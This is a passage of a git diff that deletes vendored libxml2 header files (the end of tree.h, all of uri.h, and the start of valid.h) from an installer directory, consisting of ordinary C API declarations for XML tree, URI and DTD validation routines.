xmlNewNsPropEatName (xmlNodePtr node, - xmlNsPtr ns, - xmlChar *name, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlFreePropList (xmlAttrPtr cur); -XMLPUBFUN void XMLCALL - xmlFreeProp (xmlAttrPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlCopyProp (xmlNodePtr target, - xmlAttrPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlCopyPropList (xmlNodePtr target, - xmlAttrPtr cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlDtdPtr XMLCALL - xmlCopyDtd (xmlDtdPtr dtd); -#endif /* LIBXML_TREE_ENABLED */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlDocPtr XMLCALL - xmlCopyDoc (xmlDocPtr doc, - int recursive); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ -/* - * Creating new nodes. - */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocNode (xmlDocPtr doc, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocNodeEatName (xmlDocPtr doc, - xmlNsPtr ns, - xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewNode (xmlNsPtr ns, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewNodeEatName (xmlNsPtr ns, - xmlChar *name); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewChild (xmlNodePtr parent, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -#endif -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocText (const xmlDoc *doc, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewText (const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocPI (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewPI (const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocTextLen (xmlDocPtr doc, - const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewTextLen (const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocComment (xmlDocPtr doc, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewComment (const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewCDataBlock (xmlDocPtr doc, - const xmlChar *content, - int len); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewCharRef (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewReference (const xmlDoc *doc, - const xmlChar *name); -XMLPUBFUN xmlNodePtr XMLCALL - xmlCopyNode (xmlNodePtr node, - int recursive); -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocCopyNode (xmlNodePtr node, - xmlDocPtr doc, - int recursive); -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocCopyNodeList (xmlDocPtr doc, - xmlNodePtr node); -XMLPUBFUN xmlNodePtr XMLCALL - xmlCopyNodeList (xmlNodePtr node); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewTextChild (xmlNodePtr parent, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocRawNode (xmlDocPtr doc, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *content); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNewDocFragment (xmlDocPtr doc); -#endif /* LIBXML_TREE_ENABLED */ - -/* - * Navigating. - */ -XMLPUBFUN long XMLCALL - xmlGetLineNo (const xmlNode *node); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) -XMLPUBFUN xmlChar * XMLCALL - xmlGetNodePath (const xmlNode *node); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocGetRootElement (const xmlDoc *doc); -XMLPUBFUN xmlNodePtr XMLCALL - xmlGetLastChild (const xmlNode *parent); -XMLPUBFUN int XMLCALL - xmlNodeIsText (const xmlNode *node); -XMLPUBFUN int XMLCALL - xmlIsBlankNode (const xmlNode *node); - -/* - * Changing the structure. - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlDocSetRootElement (xmlDocPtr doc, - xmlNodePtr root); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetName (xmlNodePtr cur, - const xmlChar *name); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddChild (xmlNodePtr parent, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddChildList (xmlNodePtr parent, - xmlNodePtr cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlReplaceNode (xmlNodePtr old, - xmlNodePtr cur); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddPrevSibling (xmlNodePtr cur, - xmlNodePtr elem); -#endif /* LIBXML_TREE_ENABLED || LIBXML_HTML_ENABLED || LIBXML_SCHEMAS_ENABLED */ -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddSibling (xmlNodePtr cur, - xmlNodePtr elem); -XMLPUBFUN xmlNodePtr XMLCALL - xmlAddNextSibling (xmlNodePtr cur, - xmlNodePtr elem); -XMLPUBFUN void XMLCALL - xmlUnlinkNode (xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextMerge (xmlNodePtr first, - xmlNodePtr second); -XMLPUBFUN int XMLCALL - xmlTextConcat (xmlNodePtr node, - const xmlChar *content, - int len); -XMLPUBFUN void XMLCALL - xmlFreeNodeList (xmlNodePtr cur); -XMLPUBFUN void XMLCALL - xmlFreeNode (xmlNodePtr cur); -XMLPUBFUN void XMLCALL - xmlSetTreeDoc (xmlNodePtr tree, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSetListDoc (xmlNodePtr list, - xmlDocPtr doc); -/* - * Namespaces. - */ -XMLPUBFUN xmlNsPtr XMLCALL - xmlSearchNs (xmlDocPtr doc, - xmlNodePtr node, - const xmlChar *nameSpace); -XMLPUBFUN xmlNsPtr XMLCALL - xmlSearchNsByHref (xmlDocPtr doc, - xmlNodePtr node, - const xmlChar *href); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlNsPtr * XMLCALL - xmlGetNsList (const xmlDoc *doc, - const xmlNode *node); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) */ - -XMLPUBFUN void XMLCALL - xmlSetNs (xmlNodePtr node, - xmlNsPtr ns); -XMLPUBFUN xmlNsPtr XMLCALL - xmlCopyNamespace (xmlNsPtr cur); -XMLPUBFUN xmlNsPtr XMLCALL - xmlCopyNamespaceList (xmlNsPtr cur); - -/* - * Changing the content. - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) -XMLPUBFUN xmlAttrPtr XMLCALL - xmlSetProp (xmlNodePtr node, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlSetNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *value); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) */ -XMLPUBFUN xmlChar * XMLCALL - xmlGetNoNsProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlChar * XMLCALL - xmlGetProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlHasProp (const xmlNode *node, - const xmlChar *name); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlHasNsProp (const xmlNode *node, - const xmlChar *name, - const xmlChar *nameSpace); -XMLPUBFUN xmlChar * XMLCALL - xmlGetNsProp (const xmlNode *node, - const xmlChar *name, - const xmlChar *nameSpace); -XMLPUBFUN xmlNodePtr XMLCALL - xmlStringGetNodeList (const xmlDoc *doc, - const xmlChar *value); -XMLPUBFUN xmlNodePtr XMLCALL - xmlStringLenGetNodeList (const xmlDoc *doc, - const xmlChar *value, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlNodeListGetString (xmlDocPtr doc, - const xmlNode *list, - int inLine); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlChar * XMLCALL - xmlNodeListGetRawString (const xmlDoc *doc, - const xmlNode *list, - int inLine); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNodeSetContent (xmlNodePtr cur, - const xmlChar *content); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetContentLen (xmlNodePtr cur, - const xmlChar *content, - int len); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNodeAddContent (xmlNodePtr cur, - const xmlChar *content); -XMLPUBFUN void XMLCALL - xmlNodeAddContentLen (xmlNodePtr cur, - const xmlChar *content, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetContent (const xmlNode *cur); - -XMLPUBFUN int XMLCALL - xmlNodeBufGetContent (xmlBufferPtr buffer, - const xmlNode *cur); -XMLPUBFUN int XMLCALL - xmlBufGetNodeContent (xmlBufPtr buf, - const xmlNode *cur); - -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetLang (const xmlNode *cur); -XMLPUBFUN int XMLCALL - xmlNodeGetSpacePreserve (const xmlNode *cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN void XMLCALL - xmlNodeSetLang (xmlNodePtr cur, - const xmlChar *lang); -XMLPUBFUN void XMLCALL - xmlNodeSetSpacePreserve (xmlNodePtr cur, - int val); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlNodeGetBase (const xmlDoc *doc, - const xmlNode *cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) -XMLPUBFUN void XMLCALL - xmlNodeSetBase (xmlNodePtr cur, - const xmlChar *uri); -#endif - -/* - * Removing content. - */ -XMLPUBFUN int XMLCALL - xmlRemoveProp (xmlAttrPtr cur); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlUnsetNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlUnsetProp (xmlNodePtr node, - const xmlChar *name); -#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ - -/* - * Internal, don't use. - */ -XMLPUBFUN void XMLCALL - xmlBufferWriteCHAR (xmlBufferPtr buf, - const xmlChar *string); -XMLPUBFUN void XMLCALL - xmlBufferWriteChar (xmlBufferPtr buf, - const char *string); -XMLPUBFUN void XMLCALL - xmlBufferWriteQuotedString(xmlBufferPtr buf, - const xmlChar *string); - -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void xmlAttrSerializeTxtContent(xmlBufferPtr buf, - xmlDocPtr doc, - xmlAttrPtr attr, - const xmlChar *string); -#endif /* LIBXML_OUTPUT_ENABLED */ - -#ifdef LIBXML_TREE_ENABLED -/* - * Namespace handling. - */ -XMLPUBFUN int XMLCALL - xmlReconciliateNs (xmlDocPtr doc, - xmlNodePtr tree); -#endif - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Saving. - */ -XMLPUBFUN void XMLCALL - xmlDocDumpFormatMemory (xmlDocPtr cur, - xmlChar **mem, - int *size, - int format); -XMLPUBFUN void XMLCALL - xmlDocDumpMemory (xmlDocPtr cur, - xmlChar **mem, - int *size); -XMLPUBFUN void XMLCALL - xmlDocDumpMemoryEnc (xmlDocPtr out_doc, - xmlChar **doc_txt_ptr, - int * doc_txt_len, - const char *txt_encoding); -XMLPUBFUN void XMLCALL - xmlDocDumpFormatMemoryEnc(xmlDocPtr out_doc, - xmlChar **doc_txt_ptr, - int * doc_txt_len, - const char *txt_encoding, - int format); -XMLPUBFUN int XMLCALL - xmlDocFormatDump (FILE *f, - xmlDocPtr cur, - int format); -XMLPUBFUN int XMLCALL - xmlDocDump (FILE *f, - xmlDocPtr cur); -XMLPUBFUN void XMLCALL - xmlElemDump (FILE *f, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN int XMLCALL - xmlSaveFile (const char *filename, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - xmlSaveFormatFile (const char *filename, - xmlDocPtr cur, - int format); -XMLPUBFUN size_t XMLCALL - xmlBufNodeDump (xmlBufPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format); -XMLPUBFUN int XMLCALL - xmlNodeDump (xmlBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format); - -XMLPUBFUN int XMLCALL - xmlSaveFileTo (xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN int XMLCALL - xmlSaveFormatFileTo (xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - xmlNodeDumpOutput (xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - int level, - int format, - const char *encoding); - -XMLPUBFUN int XMLCALL - xmlSaveFormatFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding, - int format); - -XMLPUBFUN int XMLCALL - xmlSaveFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding); - -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * XHTML - */ -XMLPUBFUN int XMLCALL - xmlIsXHTML (const xmlChar *systemID, - const xmlChar *publicID); - -/* - * Compression. - */ -XMLPUBFUN int XMLCALL - xmlGetDocCompressMode (const xmlDoc *doc); -XMLPUBFUN void XMLCALL - xmlSetDocCompressMode (xmlDocPtr doc, - int mode); -XMLPUBFUN int XMLCALL - xmlGetCompressMode (void); -XMLPUBFUN void XMLCALL - xmlSetCompressMode (int mode); - -/* -* DOM-wrapper helper functions. -*/ -XMLPUBFUN xmlDOMWrapCtxtPtr XMLCALL - xmlDOMWrapNewCtxt (void); -XMLPUBFUN void XMLCALL - xmlDOMWrapFreeCtxt (xmlDOMWrapCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlDOMWrapReconcileNamespaces(xmlDOMWrapCtxtPtr ctxt, - xmlNodePtr elem, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapAdoptNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr sourceDoc, - xmlNodePtr node, - xmlDocPtr destDoc, - xmlNodePtr destParent, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapRemoveNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr node, - int options); -XMLPUBFUN int XMLCALL - xmlDOMWrapCloneNode (xmlDOMWrapCtxtPtr ctxt, - xmlDocPtr sourceDoc, - xmlNodePtr node, - xmlNodePtr *clonedNode, - xmlDocPtr destDoc, - xmlNodePtr destParent, - int deep, - int options); - -#ifdef LIBXML_TREE_ENABLED -/* - * 5 interfaces from DOM ElementTraversal, but different in entities - * traversal. - */ -XMLPUBFUN unsigned long XMLCALL - xmlChildElementCount (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlNextElementSibling (xmlNodePtr node); -XMLPUBFUN xmlNodePtr XMLCALL - xmlFirstElementChild (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlLastElementChild (xmlNodePtr parent); -XMLPUBFUN xmlNodePtr XMLCALL - xmlPreviousElementSibling (xmlNodePtr node); -#endif -#ifdef __cplusplus -} -#endif -#ifndef __XML_PARSER_H__ -#include -#endif - -#endif /* __XML_TREE_H__ */ - diff --git a/installer/libxml2/include/libxml/uri.h b/installer/libxml2/include/libxml/uri.h deleted file mode 100644 index db48262..0000000 --- a/installer/libxml2/include/libxml/uri.h +++ /dev/null @@ -1,94 +0,0 @@ -/** - * Summary: library of generic URI related routines - * Description: library of generic URI related routines - * Implements RFC 2396 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_URI_H__ -#define __XML_URI_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlURI: - * - * A parsed URI reference. This is a struct containing the various fields - * as described in RFC 2396 but separated for further processing. - * - * Note: query is a deprecated field which is incorrectly unescaped. - * query_raw takes precedence over query if the former is set. - * See: http://mail.gnome.org/archives/xml/2007-April/thread.html#00127 - */ -typedef struct _xmlURI xmlURI; -typedef xmlURI *xmlURIPtr; -struct _xmlURI { - char *scheme; /* the URI scheme */ - char *opaque; /* opaque part */ - char *authority; /* the authority part */ - char *server; /* the server part */ - char *user; /* the user part */ - int port; /* the port number */ - char *path; /* the path string */ - char *query; /* the query string (deprecated - use with caution) */ - char *fragment; /* the fragment identifier */ - int cleanup; /* parsing potentially unclean URI */ - char *query_raw; /* the query string (as it appears in the URI) */ -}; - -/* - * This function is in tree.h: - * xmlChar * xmlNodeGetBase (xmlDocPtr doc, - * xmlNodePtr cur); - */ -XMLPUBFUN xmlURIPtr XMLCALL - xmlCreateURI (void); -XMLPUBFUN xmlChar * XMLCALL - xmlBuildURI (const xmlChar *URI, - const xmlChar *base); -XMLPUBFUN xmlChar * XMLCALL - xmlBuildRelativeURI (const xmlChar *URI, - const xmlChar *base); -XMLPUBFUN xmlURIPtr XMLCALL - xmlParseURI (const char *str); -XMLPUBFUN xmlURIPtr XMLCALL - xmlParseURIRaw (const char *str, - int raw); -XMLPUBFUN int XMLCALL - xmlParseURIReference (xmlURIPtr uri, - const char *str); -XMLPUBFUN xmlChar * XMLCALL - xmlSaveUri (xmlURIPtr uri); -XMLPUBFUN void XMLCALL - xmlPrintURI (FILE *stream, - xmlURIPtr uri); -XMLPUBFUN xmlChar * XMLCALL - xmlURIEscapeStr (const xmlChar *str, - const xmlChar *list); -XMLPUBFUN char * XMLCALL - xmlURIUnescapeString (const char *str, - int len, - char *target); -XMLPUBFUN int XMLCALL - xmlNormalizeURIPath (char *path); -XMLPUBFUN xmlChar * XMLCALL - xmlURIEscape (const xmlChar *str); -XMLPUBFUN void XMLCALL - xmlFreeURI (xmlURIPtr uri); -XMLPUBFUN xmlChar* XMLCALL - xmlCanonicPath (const xmlChar *path); -XMLPUBFUN xmlChar* XMLCALL - xmlPathToURI (const xmlChar *path); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_URI_H__ */ diff --git a/installer/libxml2/include/libxml/valid.h b/installer/libxml2/include/libxml/valid.h deleted file mode 100644 index 2bc7b38..0000000 --- a/installer/libxml2/include/libxml/valid.h +++ /dev/null @@ -1,458 +0,0 @@ -/* - * Summary: The DTD validation - * Description: API for the DTD handling and the validity checking - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_VALID_H__ -#define __XML_VALID_H__ - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Validation state added for non-determinist content model. - */ -typedef struct _xmlValidState xmlValidState; -typedef xmlValidState *xmlValidStatePtr; - -/** - * xmlValidityErrorFunc: - * @ctx: usually an xmlValidCtxtPtr to a validity error context, - * but comes from ctxt->userData (which normally contains such - * a pointer); ctxt->userData can be changed by the user. - * @msg: the string to format *printf like vararg - * @...: remaining arguments to the format - * - * Callback called when a validity error is found. This is a message - * oriented function similar to an *printf function. - */ -typedef void (XMLCDECL *xmlValidityErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlValidityWarningFunc: - * @ctx: usually an xmlValidCtxtPtr to a validity error context, - * but comes from ctxt->userData (which normally contains such - * a pointer); ctxt->userData can be changed by the user. - * @msg: the string to format *printf like vararg - * @...: remaining arguments to the format - * - * Callback called when a validity warning is found. This is a message - * oriented function similar to an *printf function. - */ -typedef void (XMLCDECL *xmlValidityWarningFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -#ifdef IN_LIBXML -/** - * XML_CTXT_FINISH_DTD_0: - * - * Special value for finishDtd field when embedded in an xmlParserCtxt - */ -#define XML_CTXT_FINISH_DTD_0 0xabcd1234 -/** - * XML_CTXT_FINISH_DTD_1: - * - * Special value for finishDtd field when embedded in an xmlParserCtxt - */ -#define XML_CTXT_FINISH_DTD_1 0xabcd1235 -#endif - -/* - * xmlValidCtxt: - * An xmlValidCtxt is used for error reporting when validating. - */ -typedef struct _xmlValidCtxt xmlValidCtxt; -typedef xmlValidCtxt *xmlValidCtxtPtr; -struct _xmlValidCtxt { - void *userData; /* user specific data block */ - xmlValidityErrorFunc error; /* the callback in case of errors */ - xmlValidityWarningFunc warning; /* the callback in case of warning */ - - /* Node analysis stack used when validating within entities */ - xmlNodePtr node; /* Current parsed Node */ - int nodeNr; /* Depth of the parsing stack */ - int nodeMax; /* Max depth of the parsing stack */ - xmlNodePtr *nodeTab; /* array of nodes */ - - unsigned int finishDtd; /* finished validating the Dtd ? */ - xmlDocPtr doc; /* the document */ - int valid; /* temporary validity check result */ - - /* state state used for non-determinist content validation */ - xmlValidState *vstate; /* current state */ - int vstateNr; /* Depth of the validation stack */ - int vstateMax; /* Max depth of the validation stack */ - xmlValidState *vstateTab; /* array of validation states */ - -#ifdef LIBXML_REGEXP_ENABLED - xmlAutomataPtr am; /* the automata */ - xmlAutomataStatePtr state; /* used to build the automata */ -#else - void *am; - void *state; -#endif -}; - -/* - * ALL notation declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlNotationTable; -typedef xmlNotationTable *xmlNotationTablePtr; - -/* - * ALL element declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlElementTable; -typedef xmlElementTable *xmlElementTablePtr; - -/* - * ALL attribute declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlAttributeTable; -typedef xmlAttributeTable *xmlAttributeTablePtr; - -/* - * ALL IDs attributes are stored in a table. - * There is one table per document. - */ - -typedef struct _xmlHashTable xmlIDTable; -typedef xmlIDTable *xmlIDTablePtr; - -/* - * ALL Refs attributes are stored in a table. - * There is one table per document. - */ - -typedef struct _xmlHashTable xmlRefTable; -typedef xmlRefTable *xmlRefTablePtr; - -/* Notation */ -XMLPUBFUN xmlNotationPtr XMLCALL - xmlAddNotationDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *name, - const xmlChar *PublicID, - const xmlChar *SystemID); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlNotationTablePtr XMLCALL - xmlCopyNotationTable (xmlNotationTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeNotationTable (xmlNotationTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpNotationDecl (xmlBufferPtr buf, - xmlNotationPtr nota); -XMLPUBFUN void XMLCALL - xmlDumpNotationTable (xmlBufferPtr buf, - xmlNotationTablePtr table); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* Element Content */ -/* the non Doc version are being deprecated */ -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlNewElementContent (const xmlChar *name, - xmlElementContentType type); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlCopyElementContent (xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlFreeElementContent (xmlElementContentPtr cur); -/* the new versions with doc argument */ -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlNewDocElementContent (xmlDocPtr doc, - const xmlChar *name, - xmlElementContentType type); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlCopyDocElementContent(xmlDocPtr doc, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlFreeDocElementContent(xmlDocPtr doc, - xmlElementContentPtr cur); -XMLPUBFUN void XMLCALL - xmlSnprintfElementContent(char *buf, - int size, - xmlElementContentPtr content, - int englob); -#ifdef LIBXML_OUTPUT_ENABLED -/* DEPRECATED */ -XMLPUBFUN void XMLCALL - xmlSprintfElementContent(char *buf, - xmlElementContentPtr content, - int englob); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* DEPRECATED */ - -/* Element */ -XMLPUBFUN xmlElementPtr XMLCALL - xmlAddElementDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *name, - xmlElementTypeVal type, - xmlElementContentPtr content); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlElementTablePtr XMLCALL - xmlCopyElementTable (xmlElementTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeElementTable (xmlElementTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpElementTable (xmlBufferPtr buf, - xmlElementTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpElementDecl (xmlBufferPtr buf, - xmlElementPtr elem); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* Enumeration */ -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlCreateEnumeration (const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlFreeEnumeration (xmlEnumerationPtr cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlCopyEnumeration (xmlEnumerationPtr cur); -#endif /* LIBXML_TREE_ENABLED */ - -/* Attribute */ -XMLPUBFUN xmlAttributePtr XMLCALL - xmlAddAttributeDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name, - const xmlChar *ns, - xmlAttributeType type, - xmlAttributeDefault def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlAttributeTablePtr XMLCALL - xmlCopyAttributeTable (xmlAttributeTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeAttributeTable (xmlAttributeTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpAttributeTable (xmlBufferPtr buf, - xmlAttributeTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpAttributeDecl (xmlBufferPtr buf, - xmlAttributePtr attr); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* IDs */ -XMLPUBFUN xmlIDPtr XMLCALL - xmlAddID (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *value, - xmlAttrPtr attr); -XMLPUBFUN void XMLCALL - xmlFreeIDTable (xmlIDTablePtr table); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlGetID (xmlDocPtr doc, - const xmlChar *ID); -XMLPUBFUN int XMLCALL - xmlIsID (xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr); -XMLPUBFUN int XMLCALL - xmlRemoveID (xmlDocPtr doc, - xmlAttrPtr attr); - -/* IDREFs */ -XMLPUBFUN xmlRefPtr XMLCALL - xmlAddRef (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *value, - xmlAttrPtr attr); -XMLPUBFUN void XMLCALL - xmlFreeRefTable (xmlRefTablePtr table); -XMLPUBFUN int XMLCALL - xmlIsRef (xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr); -XMLPUBFUN int XMLCALL - xmlRemoveRef (xmlDocPtr doc, - xmlAttrPtr attr); -XMLPUBFUN xmlListPtr XMLCALL - xmlGetRefs (xmlDocPtr doc, - const xmlChar *ID); - -/** - * The public function calls related to validity checking. - */ -#ifdef LIBXML_VALID_ENABLED -/* Allocate/Release Validation Contexts */ -XMLPUBFUN xmlValidCtxtPtr XMLCALL - xmlNewValidCtxt(void); -XMLPUBFUN void XMLCALL - xmlFreeValidCtxt(xmlValidCtxtPtr); - -XMLPUBFUN int XMLCALL - xmlValidateRoot (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateElementDecl (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlElementPtr elem); -XMLPUBFUN xmlChar * XMLCALL - xmlValidNormalizeAttributeValue(xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlValidCtxtNormalizeAttributeValue(xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *name, - const 